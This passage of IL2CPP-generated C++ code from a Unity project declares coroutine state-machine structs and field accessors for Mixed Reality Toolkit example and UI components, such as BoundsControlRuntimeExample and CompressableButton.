Il2CppCodeGenWriteBarrier((void**)(&___U3CU3E4__this_2), (void*)value); } inline static int32_t get_offset_of_U3CcubeU3E5__2_3() { return static_cast(offsetof(U3CSequenceU3Ed__12_t22C2E85ECFF50B0BA2123206C0746B9BAAB705DF, ___U3CcubeU3E5__2_3)); } inline GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * get_U3CcubeU3E5__2_3() const { return ___U3CcubeU3E5__2_3; } inline GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 ** get_address_of_U3CcubeU3E5__2_3() { return &___U3CcubeU3E5__2_3; } inline void set_U3CcubeU3E5__2_3(GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * value) { ___U3CcubeU3E5__2_3 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CcubeU3E5__2_3), (void*)value); } inline static int32_t get_offset_of_U3ComU3E5__3_4() { return static_cast(offsetof(U3CSequenceU3Ed__12_t22C2E85ECFF50B0BA2123206C0746B9BAAB705DF, ___U3ComU3E5__3_4)); } inline ObjectManipulator_tFF6ABCD9F9411E6099F8714B4F798FC3FE987603 * get_U3ComU3E5__3_4() const { return ___U3ComU3E5__3_4; } inline ObjectManipulator_tFF6ABCD9F9411E6099F8714B4F798FC3FE987603 ** get_address_of_U3ComU3E5__3_4() { return &___U3ComU3E5__3_4; } inline void set_U3ComU3E5__3_4(ObjectManipulator_tFF6ABCD9F9411E6099F8714B4F798FC3FE987603 * value) { ___U3ComU3E5__3_4 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3ComU3E5__3_4), (void*)value); } inline static int32_t get_offset_of_U3CnewObjectU3E5__4_5() { return static_cast(offsetof(U3CSequenceU3Ed__12_t22C2E85ECFF50B0BA2123206C0746B9BAAB705DF, ___U3CnewObjectU3E5__4_5)); } inline GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * get_U3CnewObjectU3E5__4_5() const { return ___U3CnewObjectU3E5__4_5; } inline GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 ** get_address_of_U3CnewObjectU3E5__4_5() { return &___U3CnewObjectU3E5__4_5; } inline void set_U3CnewObjectU3E5__4_5(GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * value) { ___U3CnewObjectU3E5__4_5 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CnewObjectU3E5__4_5), (void*)value); } inline static int32_t get_offset_of_U3CbcU3E5__5_6() { return static_cast(offsetof(U3CSequenceU3Ed__12_t22C2E85ECFF50B0BA2123206C0746B9BAAB705DF, ___U3CbcU3E5__5_6)); } inline BoxCollider_tA530691AC1A3C9FE6428F68F98588FCB1BF9AAA5 * get_U3CbcU3E5__5_6() const { return ___U3CbcU3E5__5_6; } inline BoxCollider_tA530691AC1A3C9FE6428F68F98588FCB1BF9AAA5 ** get_address_of_U3CbcU3E5__5_6() { return &___U3CbcU3E5__5_6; } inline void set_U3CbcU3E5__5_6(BoxCollider_tA530691AC1A3C9FE6428F68F98588FCB1BF9AAA5 * value) { ___U3CbcU3E5__5_6 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CbcU3E5__5_6), (void*)value); } inline static int32_t get_offset_of_U3ClastParentU3E5__6_7() { return static_cast(offsetof(U3CSequenceU3Ed__12_t22C2E85ECFF50B0BA2123206C0746B9BAAB705DF, ___U3ClastParentU3E5__6_7)); } inline Transform_tA8193BB29D4D2C7EC04918F3ED1816345186C3F1 * get_U3ClastParentU3E5__6_7() const { return ___U3ClastParentU3E5__6_7; } inline Transform_tA8193BB29D4D2C7EC04918F3ED1816345186C3F1 ** get_address_of_U3ClastParentU3E5__6_7() { return &___U3ClastParentU3E5__6_7; } inline void set_U3ClastParentU3E5__6_7(Transform_tA8193BB29D4D2C7EC04918F3ED1816345186C3F1 * value) { ___U3ClastParentU3E5__6_7 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3ClastParentU3E5__6_7), (void*)value); } }; // Microsoft.MixedReality.Toolkit.Examples.Demos.BoundingBoxExampleTest/d__14 struct U3CWaitForSpeechCommandU3Ed__14_t31D238CDFDA8B756BD3DAC2BBA975B1A6CB410BE : public RuntimeObject { public: // System.Int32 Microsoft.MixedReality.Toolkit.Examples.Demos.BoundingBoxExampleTest/d__14::<>1__state int32_t ___U3CU3E1__state_0; // System.Object Microsoft.MixedReality.Toolkit.Examples.Demos.BoundingBoxExampleTest/d__14::<>2__current RuntimeObject * ___U3CU3E2__current_1; // Microsoft.MixedReality.Toolkit.Examples.Demos.BoundingBoxExampleTest Microsoft.MixedReality.Toolkit.Examples.Demos.BoundingBoxExampleTest/d__14::<>4__this BoundingBoxExampleTest_t7EEC26CE750E170F7D8D231C29B933B4FECC6DAE * ___U3CU3E4__this_2; public: inline static int32_t get_offset_of_U3CU3E1__state_0() { return static_cast(offsetof(U3CWaitForSpeechCommandU3Ed__14_t31D238CDFDA8B756BD3DAC2BBA975B1A6CB410BE, ___U3CU3E1__state_0)); } inline int32_t get_U3CU3E1__state_0() const { return ___U3CU3E1__state_0; } inline int32_t* get_address_of_U3CU3E1__state_0() { return &___U3CU3E1__state_0; } inline void set_U3CU3E1__state_0(int32_t value) { ___U3CU3E1__state_0 = value; } inline static int32_t get_offset_of_U3CU3E2__current_1() { return static_cast(offsetof(U3CWaitForSpeechCommandU3Ed__14_t31D238CDFDA8B756BD3DAC2BBA975B1A6CB410BE, ___U3CU3E2__current_1)); } inline RuntimeObject * get_U3CU3E2__current_1() const { return ___U3CU3E2__current_1; } inline RuntimeObject ** get_address_of_U3CU3E2__current_1() { return &___U3CU3E2__current_1; } inline void set_U3CU3E2__current_1(RuntimeObject * value) { ___U3CU3E2__current_1 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CU3E2__current_1), (void*)value); } inline static int32_t get_offset_of_U3CU3E4__this_2() { return static_cast(offsetof(U3CWaitForSpeechCommandU3Ed__14_t31D238CDFDA8B756BD3DAC2BBA975B1A6CB410BE, ___U3CU3E4__this_2)); } inline BoundingBoxExampleTest_t7EEC26CE750E170F7D8D231C29B933B4FECC6DAE * get_U3CU3E4__this_2() const { return ___U3CU3E4__this_2; } inline BoundingBoxExampleTest_t7EEC26CE750E170F7D8D231C29B933B4FECC6DAE ** get_address_of_U3CU3E4__this_2() { return &___U3CU3E4__this_2; } inline void set_U3CU3E4__this_2(BoundingBoxExampleTest_t7EEC26CE750E170F7D8D231C29B933B4FECC6DAE * value) { ___U3CU3E4__this_2 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CU3E4__this_2), (void*)value); } }; // Microsoft.MixedReality.Toolkit.Examples.Demos.BoundsControlRuntimeExample/d__12 struct U3CSequenceU3Ed__12_tF40FA4F530C0552408136269A69F4C1D39006F19 : public RuntimeObject { public: // System.Int32 Microsoft.MixedReality.Toolkit.Examples.Demos.BoundsControlRuntimeExample/d__12::<>1__state int32_t ___U3CU3E1__state_0; // System.Object Microsoft.MixedReality.Toolkit.Examples.Demos.BoundsControlRuntimeExample/d__12::<>2__current RuntimeObject * ___U3CU3E2__current_1; // Microsoft.MixedReality.Toolkit.Examples.Demos.BoundsControlRuntimeExample Microsoft.MixedReality.Toolkit.Examples.Demos.BoundsControlRuntimeExample/d__12::<>4__this BoundsControlRuntimeExample_tAD71A148CC11D847755415293E50CDA601C8B208 * ___U3CU3E4__this_2; // UnityEngine.GameObject Microsoft.MixedReality.Toolkit.Examples.Demos.BoundsControlRuntimeExample/d__12::5__2 GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * ___U3CcubeU3E5__2_3; // Microsoft.MixedReality.Toolkit.UI.ObjectManipulator Microsoft.MixedReality.Toolkit.Examples.Demos.BoundsControlRuntimeExample/d__12::5__3 ObjectManipulator_tFF6ABCD9F9411E6099F8714B4F798FC3FE987603 * ___U3ComU3E5__3_4; // UnityEngine.GameObject Microsoft.MixedReality.Toolkit.Examples.Demos.BoundsControlRuntimeExample/d__12::5__4 GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * ___U3CnewObjectU3E5__4_5; // UnityEngine.BoxCollider Microsoft.MixedReality.Toolkit.Examples.Demos.BoundsControlRuntimeExample/d__12::5__5 BoxCollider_tA530691AC1A3C9FE6428F68F98588FCB1BF9AAA5 * ___U3CbcU3E5__5_6; // UnityEngine.Transform Microsoft.MixedReality.Toolkit.Examples.Demos.BoundsControlRuntimeExample/d__12::5__6 Transform_tA8193BB29D4D2C7EC04918F3ED1816345186C3F1 * ___U3ClastParentU3E5__6_7; public: inline static int32_t get_offset_of_U3CU3E1__state_0() { return static_cast(offsetof(U3CSequenceU3Ed__12_tF40FA4F530C0552408136269A69F4C1D39006F19, ___U3CU3E1__state_0)); } inline int32_t get_U3CU3E1__state_0() const { return ___U3CU3E1__state_0; } inline int32_t* get_address_of_U3CU3E1__state_0() { return &___U3CU3E1__state_0; } inline void set_U3CU3E1__state_0(int32_t value) { ___U3CU3E1__state_0 = value; } inline static int32_t get_offset_of_U3CU3E2__current_1() { return static_cast(offsetof(U3CSequenceU3Ed__12_tF40FA4F530C0552408136269A69F4C1D39006F19, ___U3CU3E2__current_1)); } inline RuntimeObject * get_U3CU3E2__current_1() const { return ___U3CU3E2__current_1; } inline RuntimeObject ** get_address_of_U3CU3E2__current_1() { return &___U3CU3E2__current_1; } inline void set_U3CU3E2__current_1(RuntimeObject * value) { ___U3CU3E2__current_1 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CU3E2__current_1), (void*)value); } inline static int32_t get_offset_of_U3CU3E4__this_2() { return static_cast(offsetof(U3CSequenceU3Ed__12_tF40FA4F530C0552408136269A69F4C1D39006F19, ___U3CU3E4__this_2)); } inline BoundsControlRuntimeExample_tAD71A148CC11D847755415293E50CDA601C8B208 * get_U3CU3E4__this_2() const { return ___U3CU3E4__this_2; } inline BoundsControlRuntimeExample_tAD71A148CC11D847755415293E50CDA601C8B208 ** get_address_of_U3CU3E4__this_2() { return &___U3CU3E4__this_2; } inline void set_U3CU3E4__this_2(BoundsControlRuntimeExample_tAD71A148CC11D847755415293E50CDA601C8B208 * value) { ___U3CU3E4__this_2 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CU3E4__this_2), (void*)value); } inline static int32_t get_offset_of_U3CcubeU3E5__2_3() { return static_cast(offsetof(U3CSequenceU3Ed__12_tF40FA4F530C0552408136269A69F4C1D39006F19, ___U3CcubeU3E5__2_3)); } inline GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * get_U3CcubeU3E5__2_3() const { return ___U3CcubeU3E5__2_3; } inline GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 ** get_address_of_U3CcubeU3E5__2_3() { return &___U3CcubeU3E5__2_3; } inline void set_U3CcubeU3E5__2_3(GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * value) { ___U3CcubeU3E5__2_3 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CcubeU3E5__2_3), (void*)value); } inline static int32_t get_offset_of_U3ComU3E5__3_4() { return static_cast(offsetof(U3CSequenceU3Ed__12_tF40FA4F530C0552408136269A69F4C1D39006F19, ___U3ComU3E5__3_4)); } inline ObjectManipulator_tFF6ABCD9F9411E6099F8714B4F798FC3FE987603 * get_U3ComU3E5__3_4() const { return ___U3ComU3E5__3_4; } inline ObjectManipulator_tFF6ABCD9F9411E6099F8714B4F798FC3FE987603 ** get_address_of_U3ComU3E5__3_4() { return &___U3ComU3E5__3_4; } inline void set_U3ComU3E5__3_4(ObjectManipulator_tFF6ABCD9F9411E6099F8714B4F798FC3FE987603 * value) { ___U3ComU3E5__3_4 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3ComU3E5__3_4), (void*)value); } inline static int32_t get_offset_of_U3CnewObjectU3E5__4_5() { return static_cast(offsetof(U3CSequenceU3Ed__12_tF40FA4F530C0552408136269A69F4C1D39006F19, ___U3CnewObjectU3E5__4_5)); } inline GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * get_U3CnewObjectU3E5__4_5() const { return ___U3CnewObjectU3E5__4_5; } inline GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 ** get_address_of_U3CnewObjectU3E5__4_5() { return &___U3CnewObjectU3E5__4_5; } inline void set_U3CnewObjectU3E5__4_5(GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * value) { ___U3CnewObjectU3E5__4_5 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CnewObjectU3E5__4_5), (void*)value); } inline static int32_t get_offset_of_U3CbcU3E5__5_6() { return static_cast(offsetof(U3CSequenceU3Ed__12_tF40FA4F530C0552408136269A69F4C1D39006F19, ___U3CbcU3E5__5_6)); } inline BoxCollider_tA530691AC1A3C9FE6428F68F98588FCB1BF9AAA5 * get_U3CbcU3E5__5_6() const { return ___U3CbcU3E5__5_6; } inline BoxCollider_tA530691AC1A3C9FE6428F68F98588FCB1BF9AAA5 ** get_address_of_U3CbcU3E5__5_6() { return &___U3CbcU3E5__5_6; } inline void set_U3CbcU3E5__5_6(BoxCollider_tA530691AC1A3C9FE6428F68F98588FCB1BF9AAA5 * value) { ___U3CbcU3E5__5_6 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CbcU3E5__5_6), (void*)value); } inline static int32_t get_offset_of_U3ClastParentU3E5__6_7() { return static_cast(offsetof(U3CSequenceU3Ed__12_tF40FA4F530C0552408136269A69F4C1D39006F19, ___U3ClastParentU3E5__6_7)); } inline Transform_tA8193BB29D4D2C7EC04918F3ED1816345186C3F1 * get_U3ClastParentU3E5__6_7() const { return ___U3ClastParentU3E5__6_7; } inline Transform_tA8193BB29D4D2C7EC04918F3ED1816345186C3F1 ** get_address_of_U3ClastParentU3E5__6_7() { return &___U3ClastParentU3E5__6_7; } inline void set_U3ClastParentU3E5__6_7(Transform_tA8193BB29D4D2C7EC04918F3ED1816345186C3F1 * value) { ___U3ClastParentU3E5__6_7 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3ClastParentU3E5__6_7), (void*)value); } }; // Microsoft.MixedReality.Toolkit.Examples.Demos.BoundsControlRuntimeExample/d__14 struct U3CWaitForSpeechCommandU3Ed__14_tDB3395D9E9611F276236B66FE075678B40CFB56F : public RuntimeObject { public: // System.Int32 Microsoft.MixedReality.Toolkit.Examples.Demos.BoundsControlRuntimeExample/d__14::<>1__state int32_t ___U3CU3E1__state_0; // System.Object Microsoft.MixedReality.Toolkit.Examples.Demos.BoundsControlRuntimeExample/d__14::<>2__current RuntimeObject * ___U3CU3E2__current_1; // Microsoft.MixedReality.Toolkit.Examples.Demos.BoundsControlRuntimeExample Microsoft.MixedReality.Toolkit.Examples.Demos.BoundsControlRuntimeExample/d__14::<>4__this BoundsControlRuntimeExample_tAD71A148CC11D847755415293E50CDA601C8B208 * ___U3CU3E4__this_2; public: inline static int32_t get_offset_of_U3CU3E1__state_0() { return static_cast(offsetof(U3CWaitForSpeechCommandU3Ed__14_tDB3395D9E9611F276236B66FE075678B40CFB56F, ___U3CU3E1__state_0)); } inline int32_t get_U3CU3E1__state_0() const { return ___U3CU3E1__state_0; } inline int32_t* get_address_of_U3CU3E1__state_0() { return &___U3CU3E1__state_0; } inline void set_U3CU3E1__state_0(int32_t value) { ___U3CU3E1__state_0 = value; } inline static int32_t get_offset_of_U3CU3E2__current_1() { return static_cast(offsetof(U3CWaitForSpeechCommandU3Ed__14_tDB3395D9E9611F276236B66FE075678B40CFB56F, ___U3CU3E2__current_1)); } inline RuntimeObject * get_U3CU3E2__current_1() const { return ___U3CU3E2__current_1; } inline RuntimeObject ** get_address_of_U3CU3E2__current_1() { return &___U3CU3E2__current_1; } inline void set_U3CU3E2__current_1(RuntimeObject * value) { ___U3CU3E2__current_1 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CU3E2__current_1), (void*)value); } inline static int32_t get_offset_of_U3CU3E4__this_2() { return static_cast(offsetof(U3CWaitForSpeechCommandU3Ed__14_tDB3395D9E9611F276236B66FE075678B40CFB56F, ___U3CU3E4__this_2)); } inline BoundsControlRuntimeExample_tAD71A148CC11D847755415293E50CDA601C8B208 * get_U3CU3E4__this_2() const { return ___U3CU3E4__this_2; } inline BoundsControlRuntimeExample_tAD71A148CC11D847755415293E50CDA601C8B208 ** get_address_of_U3CU3E4__this_2() { return &___U3CU3E4__this_2; } inline void set_U3CU3E4__this_2(BoundsControlRuntimeExample_tAD71A148CC11D847755415293E50CDA601C8B208 * value) { ___U3CU3E4__this_2 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CU3E4__this_2), (void*)value); } }; // UnityEngine.UI.Button/d__9 struct U3COnFinishSubmitU3Ed__9_t270CA6BB596B5C583A2E70FB6BED90A6D04C43C0 : public RuntimeObject { public: // System.Int32 UnityEngine.UI.Button/d__9::<>1__state int32_t ___U3CU3E1__state_0; // System.Object UnityEngine.UI.Button/d__9::<>2__current RuntimeObject * ___U3CU3E2__current_1; // UnityEngine.UI.Button UnityEngine.UI.Button/d__9::<>4__this Button_tA893FC15AB26E1439AC25BDCA7079530587BB65D * ___U3CU3E4__this_2; // System.Single UnityEngine.UI.Button/d__9::5__2 float ___U3CfadeTimeU3E5__2_3; // System.Single UnityEngine.UI.Button/d__9::5__3 float ___U3CelapsedTimeU3E5__3_4; public: inline static int32_t get_offset_of_U3CU3E1__state_0() { return static_cast(offsetof(U3COnFinishSubmitU3Ed__9_t270CA6BB596B5C583A2E70FB6BED90A6D04C43C0, ___U3CU3E1__state_0)); } inline int32_t get_U3CU3E1__state_0() const { return ___U3CU3E1__state_0; } inline int32_t* get_address_of_U3CU3E1__state_0() { return &___U3CU3E1__state_0; } inline void set_U3CU3E1__state_0(int32_t value) { ___U3CU3E1__state_0 = value; } inline static int32_t get_offset_of_U3CU3E2__current_1() { return static_cast(offsetof(U3COnFinishSubmitU3Ed__9_t270CA6BB596B5C583A2E70FB6BED90A6D04C43C0, ___U3CU3E2__current_1)); } inline RuntimeObject * get_U3CU3E2__current_1() const { return ___U3CU3E2__current_1; } inline RuntimeObject ** get_address_of_U3CU3E2__current_1() { return &___U3CU3E2__current_1; } inline void set_U3CU3E2__current_1(RuntimeObject * value) { ___U3CU3E2__current_1 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CU3E2__current_1), (void*)value); } inline static int32_t get_offset_of_U3CU3E4__this_2() { return static_cast(offsetof(U3COnFinishSubmitU3Ed__9_t270CA6BB596B5C583A2E70FB6BED90A6D04C43C0, ___U3CU3E4__this_2)); } inline Button_tA893FC15AB26E1439AC25BDCA7079530587BB65D * get_U3CU3E4__this_2() const { return ___U3CU3E4__this_2; } inline Button_tA893FC15AB26E1439AC25BDCA7079530587BB65D ** get_address_of_U3CU3E4__this_2() { return &___U3CU3E4__this_2; } inline void set_U3CU3E4__this_2(Button_tA893FC15AB26E1439AC25BDCA7079530587BB65D * value) { ___U3CU3E4__this_2 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CU3E4__this_2), (void*)value); } inline static int32_t get_offset_of_U3CfadeTimeU3E5__2_3() { return static_cast(offsetof(U3COnFinishSubmitU3Ed__9_t270CA6BB596B5C583A2E70FB6BED90A6D04C43C0, ___U3CfadeTimeU3E5__2_3)); } inline float get_U3CfadeTimeU3E5__2_3() const { return ___U3CfadeTimeU3E5__2_3; } inline float* get_address_of_U3CfadeTimeU3E5__2_3() { return &___U3CfadeTimeU3E5__2_3; } inline void set_U3CfadeTimeU3E5__2_3(float value) { ___U3CfadeTimeU3E5__2_3 = value; } inline static int32_t get_offset_of_U3CelapsedTimeU3E5__3_4() { return static_cast(offsetof(U3COnFinishSubmitU3Ed__9_t270CA6BB596B5C583A2E70FB6BED90A6D04C43C0, ___U3CelapsedTimeU3E5__3_4)); } inline float get_U3CelapsedTimeU3E5__3_4() const { return ___U3CelapsedTimeU3E5__3_4; } inline float* get_address_of_U3CelapsedTimeU3E5__3_4() { return &___U3CelapsedTimeU3E5__3_4; } inline void set_U3CelapsedTimeU3E5__3_4(float value) { ___U3CelapsedTimeU3E5__3_4 = value; } }; // Microsoft.MixedReality.Toolkit.Experimental.InteractiveElement.CompressableButton/d__104 struct U3CAnimateHighlightPlateU3Ed__104_tA64E54346479D7D20A5C6B60947A82C97D58D3A2 : public RuntimeObject { public: // System.Int32 Microsoft.MixedReality.Toolkit.Experimental.InteractiveElement.CompressableButton/d__104::<>1__state int32_t ___U3CU3E1__state_0; // System.Object Microsoft.MixedReality.Toolkit.Experimental.InteractiveElement.CompressableButton/d__104::<>2__current RuntimeObject * ___U3CU3E2__current_1; // Microsoft.MixedReality.Toolkit.Experimental.InteractiveElement.CompressableButton Microsoft.MixedReality.Toolkit.Experimental.InteractiveElement.CompressableButton/d__104::<>4__this CompressableButton_t594F43A12BD366CE6A1E7E563219E6A96C2B27F1 * ___U3CU3E4__this_2; // System.Boolean Microsoft.MixedReality.Toolkit.Experimental.InteractiveElement.CompressableButton/d__104::fadeIn bool ___fadeIn_3; // System.Single Microsoft.MixedReality.Toolkit.Experimental.InteractiveElement.CompressableButton/d__104::time float ___time_4; // System.Single Microsoft.MixedReality.Toolkit.Experimental.InteractiveElement.CompressableButton/d__104::5__2 float ___U3CblendTimeU3E5__2_5; public: inline static int32_t get_offset_of_U3CU3E1__state_0() { return static_cast(offsetof(U3CAnimateHighlightPlateU3Ed__104_tA64E54346479D7D20A5C6B60947A82C97D58D3A2, ___U3CU3E1__state_0)); } inline int32_t get_U3CU3E1__state_0() const { return ___U3CU3E1__state_0; } inline int32_t* get_address_of_U3CU3E1__state_0() { return &___U3CU3E1__state_0; } inline void set_U3CU3E1__state_0(int32_t value) { ___U3CU3E1__state_0 = value; } inline static int32_t get_offset_of_U3CU3E2__current_1() { return static_cast(offsetof(U3CAnimateHighlightPlateU3Ed__104_tA64E54346479D7D20A5C6B60947A82C97D58D3A2, ___U3CU3E2__current_1)); } inline RuntimeObject * get_U3CU3E2__current_1() const { return ___U3CU3E2__current_1; } inline RuntimeObject ** get_address_of_U3CU3E2__current_1() { return &___U3CU3E2__current_1; } inline void set_U3CU3E2__current_1(RuntimeObject * value) { ___U3CU3E2__current_1 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CU3E2__current_1), (void*)value); } inline static int32_t get_offset_of_U3CU3E4__this_2() { return static_cast(offsetof(U3CAnimateHighlightPlateU3Ed__104_tA64E54346479D7D20A5C6B60947A82C97D58D3A2, ___U3CU3E4__this_2)); } inline CompressableButton_t594F43A12BD366CE6A1E7E563219E6A96C2B27F1 * get_U3CU3E4__this_2() const { return ___U3CU3E4__this_2; } inline CompressableButton_t594F43A12BD366CE6A1E7E563219E6A96C2B27F1 ** get_address_of_U3CU3E4__this_2() { return &___U3CU3E4__this_2; } inline void set_U3CU3E4__this_2(CompressableButton_t594F43A12BD366CE6A1E7E563219E6A96C2B27F1 * value) { ___U3CU3E4__this_2 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CU3E4__this_2), (void*)value); } inline static int32_t get_offset_of_fadeIn_3() { return static_cast(offsetof(U3CAnimateHighlightPlateU3Ed__104_tA64E54346479D7D20A5C6B60947A82C97D58D3A2, ___fadeIn_3)); } inline bool get_fadeIn_3() const { return ___fadeIn_3; } inline bool* get_address_of_fadeIn_3() { return &___fadeIn_3; } inline void set_fadeIn_3(bool value) { ___fadeIn_3 = value; } inline static int32_t get_offset_of_time_4() { return static_cast(offsetof(U3CAnimateHighlightPlateU3Ed__104_tA64E54346479D7D20A5C6B60947A82C97D58D3A2, ___time_4)); } inline float get_time_4() const { return ___time_4; } inline float* get_address_of_time_4() { return &___time_4; } inline void set_time_4(float value) { ___time_4 = value; } inline static int32_t get_offset_of_U3CblendTimeU3E5__2_5() { return static_cast(offsetof(U3CAnimateHighlightPlateU3Ed__104_tA64E54346479D7D20A5C6B60947A82C97D58D3A2, ___U3CblendTimeU3E5__2_5)); } inline float get_U3CblendTimeU3E5__2_5() const { return ___U3CblendTimeU3E5__2_5; } inline float* get_address_of_U3CblendTimeU3E5__2_5() { return &___U3CblendTimeU3E5__2_5; } inline void set_U3CblendTimeU3E5__2_5(float value) { ___U3CblendTimeU3E5__2_5 = value; } }; // Microsoft.MixedReality.Toolkit.UI.CustomInteractablesReceiver/d__14 struct U3CClickTimerU3Ed__14_tEE17F23196797F9488E01F830D59FA9CD0FFEE76 : public RuntimeObject { public: // System.Int32 Microsoft.MixedReality.Toolkit.UI.CustomInteractablesReceiver/d__14::<>1__state int32_t ___U3CU3E1__state_0; // System.Object Microsoft.MixedReality.Toolkit.UI.CustomInteractablesReceiver/d__14::<>2__current RuntimeObject * ___U3CU3E2__current_1; // System.Single Microsoft.MixedReality.Toolkit.UI.CustomInteractablesReceiver/d__14::time float ___time_2; // Microsoft.MixedReality.Toolkit.UI.CustomInteractablesReceiver Microsoft.MixedReality.Toolkit.UI.CustomInteractablesReceiver/d__14::<>4__this CustomInteractablesReceiver_t77423DDE2C42025153A88953C31A4CFA3EDA35A6 * ___U3CU3E4__this_3; public: inline static int32_t get_offset_of_U3CU3E1__state_0() { return static_cast(offsetof(U3CClickTimerU3Ed__14_tEE17F23196797F9488E01F830D59FA9CD0FFEE76, ___U3CU3E1__state_0)); } inline int32_t get_U3CU3E1__state_0() const { return ___U3CU3E1__state_0; } inline int32_t* get_address_of_U3CU3E1__state_0() { return &___U3CU3E1__state_0; } inline void set_U3CU3E1__state_0(int32_t value) { ___U3CU3E1__state_0 = value; } inline static int32_t get_offset_of_U3CU3E2__current_1() { return static_cast(offsetof(U3CClickTimerU3Ed__14_tEE17F23196797F9488E01F830D59FA9CD0FFEE76, ___U3CU3E2__current_1)); } inline RuntimeObject * get_U3CU3E2__current_1() const { return ___U3CU3E2__current_1; } inline RuntimeObject ** get_address_of_U3CU3E2__current_1() { return &___U3CU3E2__current_1; } inline void set_U3CU3E2__current_1(RuntimeObject * value) { ___U3CU3E2__current_1 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CU3E2__current_1), (void*)value); } inline static int32_t get_offset_of_time_2() { return static_cast(offsetof(U3CClickTimerU3Ed__14_tEE17F23196797F9488E01F830D59FA9CD0FFEE76, ___time_2)); } inline float get_time_2() const { return ___time_2; } inline float* get_address_of_time_2() { return &___time_2; } inline void set_time_2(float value) { ___time_2 = value; } inline static int32_t get_offset_of_U3CU3E4__this_3() { return static_cast(offsetof(U3CClickTimerU3Ed__14_tEE17F23196797F9488E01F830D59FA9CD0FFEE76, ___U3CU3E4__this_3)); } inline CustomInteractablesReceiver_t77423DDE2C42025153A88953C31A4CFA3EDA35A6 * get_U3CU3E4__this_3() const { return ___U3CU3E4__this_3; } inline CustomInteractablesReceiver_t77423DDE2C42025153A88953C31A4CFA3EDA35A6 ** get_address_of_U3CU3E4__this_3() { return &___U3CU3E4__this_3; } inline void set_U3CU3E4__this_3(CustomInteractablesReceiver_t77423DDE2C42025153A88953C31A4CFA3EDA35A6 * value) { ___U3CU3E4__this_3 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CU3E4__this_3), (void*)value); } }; // Microsoft.MixedReality.Toolkit.UI.CustomInteractablesReceiver/d__15 struct U3CVoiceTimerU3Ed__15_t2A4468F02A0C53B74CDBCDC66C96DE2E28CA47F5 : public RuntimeObject { public: // System.Int32 Microsoft.MixedReality.Toolkit.UI.CustomInteractablesReceiver/d__15::<>1__state int32_t ___U3CU3E1__state_0; // System.Object Microsoft.MixedReality.Toolkit.UI.CustomInteractablesReceiver/d__15::<>2__current RuntimeObject * ___U3CU3E2__current_1; // System.Single Microsoft.MixedReality.Toolkit.UI.CustomInteractablesReceiver/d__15::time float ___time_2; // Microsoft.MixedReality.Toolkit.UI.CustomInteractablesReceiver Microsoft.MixedReality.Toolkit.UI.CustomInteractablesReceiver/d__15::<>4__this CustomInteractablesReceiver_t77423DDE2C42025153A88953C31A4CFA3EDA35A6 * ___U3CU3E4__this_3; public: inline static int32_t get_offset_of_U3CU3E1__state_0() { return static_cast(offsetof(U3CVoiceTimerU3Ed__15_t2A4468F02A0C53B74CDBCDC66C96DE2E28CA47F5, ___U3CU3E1__state_0)); } inline int32_t get_U3CU3E1__state_0() const { return ___U3CU3E1__state_0; } inline int32_t* get_address_of_U3CU3E1__state_0() { return &___U3CU3E1__state_0; } inline void set_U3CU3E1__state_0(int32_t value) { ___U3CU3E1__state_0 = value; } inline static int32_t get_offset_of_U3CU3E2__current_1() { return static_cast(offsetof(U3CVoiceTimerU3Ed__15_t2A4468F02A0C53B74CDBCDC66C96DE2E28CA47F5, ___U3CU3E2__current_1)); } inline RuntimeObject * get_U3CU3E2__current_1() const { return ___U3CU3E2__current_1; } inline RuntimeObject ** get_address_of_U3CU3E2__current_1() { return &___U3CU3E2__current_1; } inline void set_U3CU3E2__current_1(RuntimeObject * value) { ___U3CU3E2__current_1 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CU3E2__current_1), (void*)value); } inline static int32_t get_offset_of_time_2() { return static_cast(offsetof(U3CVoiceTimerU3Ed__15_t2A4468F02A0C53B74CDBCDC66C96DE2E28CA47F5, ___time_2)); } inline float get_time_2() const { return ___time_2; } inline float* get_address_of_time_2() { return &___time_2; } inline void set_time_2(float value) { ___time_2 = value; } inline static int32_t get_offset_of_U3CU3E4__this_3() { return static_cast(offsetof(U3CVoiceTimerU3Ed__15_t2A4468F02A0C53B74CDBCDC66C96DE2E28CA47F5, ___U3CU3E4__this_3)); } inline CustomInteractablesReceiver_t77423DDE2C42025153A88953C31A4CFA3EDA35A6 * get_U3CU3E4__this_3() const { return ___U3CU3E4__this_3; } inline CustomInteractablesReceiver_t77423DDE2C42025153A88953C31A4CFA3EDA35A6 ** get_address_of_U3CU3E4__this_3() { return &___U3CU3E4__this_3; } inline void 